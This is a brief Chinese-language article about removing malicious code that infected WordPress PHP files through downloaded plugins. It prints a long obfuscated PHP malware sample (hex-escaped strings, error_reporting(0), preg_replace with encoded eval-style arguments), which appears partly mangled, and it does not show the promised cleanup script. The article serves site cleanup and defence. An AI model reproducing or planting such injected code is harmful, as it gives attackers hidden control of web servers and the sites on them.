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PHP实现清除wordpress里恶意代码_PHP

WBOY
发布: 2016-05-29 11:48:44
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1015 人浏览过

公司一些wordpress网站由于下载的插件存在恶意代码,导致整个服务器所有网站PHP文件都存在恶意代码,就写了个简单的脚本清除。

恶意代码示例

代码如下:


!#]y3d]51]y35]256]y76]72]y3d]51]y35]274]y4:]82]y3:]621:|:*mmvo:>:iuhofm%x5c%x7825:-5ppde:4:|:**#ppde#)tutjyf%7825yy>#]D6]281L1#%x5c%x782f#M5]DgP5]D6#!#]y81]273]y>#]D4]273]D6P2L5P6]y6gP7L6M7]D4]275]D:M8]Df#^#zsfvrx5c%x7827&6hmg%x5c%x7825!j%%x5c%x7825:|:**t%x5c%xW~!%x5c%x7825z!>215b:%x5c%x7825s:%x5cw>#]y74]273]y76]252]y85]256]y6g]257]y8!:8:|:7#6ufs!|ftmf!~!#]y81]273]y76]258]y6g]273]#*%x5c%x7824-%x5c%x7824!>!tus%x5x782fq%x5c%x7825>2q%x5c%x7825%x5c%x782f7rfs%x5c%x78256!%x5c%x7824c%x7825c!>!%x5c%x7825i%x5c%x785c2^n%x5c%x7825!bssbz)%x5c%x7824]25%x5c%x7824-%x5c%x7824-!%x5c%x7825%x5c%x7824-%7825)m%x5c%x7825=*h%x5c%x78254%x5c%x785c%x5c%x7825j^%x527,*e%x5c%x7827,*d%x5c%x7827,*cmfV%x5c%x787fu%x5c%x!*5!%x5c%x7827!hmg%x5c%x7825)!gj!|!*1?hmg%x5c%x7or_reporting(0); preg_replace("%x2f%ggg)(0)%x5c%x782f+*0f(-!#]y76]277]y72]265]y76]258]y6g]273]y76]271]y7d]25%x5c%x7825hOh%x5c%x782f#00#W~!%x5c%xS["%x61%156%x75%156%x61"]=1; function f:h%x5c%x7825:!2p%x5c2fh%x5c%x7825:%x5c%x7825fdyUm%x5c%x5c%x7825!qp%x5c%x7825!|Z~!!2p%x5c%x7825!|!*!***b%x5#P#-#Q#-#B#-#T#-#E#-#G#-#x787fw6*%x5c%x787f_*#fmjgk4%x5*WCw*[!%x5c%x7825rN}#QwTW%xc%x7825%x5c%x7824-%x5c%x7824b!>!%x5c%x7825yy)#}#50%x2e%52%x29%57%x65","%x65%166%x61%154%x28%151%x6d%160%x6c%25)+opjudovg+)!gj+{e%x5c%x7825!osvufs!*!+A!>!{e%x5c%7827pd%x5c%x78256b%x5c%x7825!*##>>X)!gjZb%x5c%x7825!**X)ufttj%x7825c:>11%x5c%x782272qj%x5c%x7825)7gj6!}_;gvc%x5c%x7825}&;ftmbg}%x5c%x787f;!osvufs}w;*%x5c%x787f!>x7825!>}R;msv}.;%x5c%x782f#%xc%x78b%x5c%x7825w:!>!%x5c%x78246767~6>%x5c%|!*bubE{h%x5c%x7825)j{hnpd!opjudovg!|!**#j{hnpd#)tujQeTQcOc%x5c%x782f#00#W~!Ydrr)%x5c%x7825r%x5c%x78!2p%x5c%x78uft%x5c%x7860msvd},;uqpuft%x5c%x7860msvd}+;!>!}%x5c%x7827;!>>6|7**111127-K)ebfsX%x5c%x7827u%x5c%x7825)7fmji%x5c%x7860ufldpt}X;%x5c%x78#%x5c%x785cq%x5c%x78257**^#zsfvr#%x5c%x785cq%x5c%x7825)uftc%x7825tpz!>!#]D6M7]K3#}>!%x5c%x7825tdz)%x5c%x7825ofmy%x5c%x7825,3,j%x5c%x7825>j%x5c%x782560msvd}R;*msv%x5c%x7825)}.;%x5c%x7860UQP78W~!Ypp2)%x5c%x7825zB%x5c%x7825z>!tussfw)%x5c%x7825zW%x55c%x787fw6>%x5c%x7822!ftmbg)!gj]58y]472]37y]672]48y]#>s%x5c%x7825q5c%x7825)!gj!2bd%x5c%x7825!2qj%x5c%x78257-K)udfoopdXA%x54!#]y76]277]y72]265]y39]274]y85]273]y66<.4>1?*2b%x5c%x7825)gpf{jt)!gj!:r7e:55946-tr.984:75983:48984:71]K9]77]D4]82]K6]72]K9]78]K5]53]Kc#>2*!%x5c%x7825z>3j%x5c%x7825!*72!%x5c%x7827!hmg%x-t.98]K4]65]D8]86]y31]278]y3f]5c%x7860sfqmbdf)%x5c%x7825%x5c%x7824-%x5c%x7%x5c%x7822)gj!|!*nbsbq%x5c%x7825)323ldfidk!~!!#]y84]275]y83]248]y83]256c%x7825V%x5c%x7827{ftmfV%x5c%x787f%x5c%x782f7&%x7825:|:*r%x5c%x7825:-t%x5c%x7825)3of:opjud7825!-uyfu%x5c%x7825)3of)fepdof%x5c%x786057ftbc%x5c%x787f!|!*uyfu%x5c%x5c%x7825)hopm3qjA)qj3hopmA%x578Bsfuvso!sboepn)%x5c%x7825epnbss-%x5c%x7825r%x5c%x78782fqp%x5c%x7825>5h%x5c%4-%x5c%x7824y7%x5c%x7824-%>!}W;utpi}Y;tuofuopd%x5c%x7tsbqA7>q%x5c%x78256%x5c%x7897e:56-%x5c%x7878r.985:52985c%x7825kj:-!OVMM*#L4]275L3]248L3P6L1M5]D2P4]D6#

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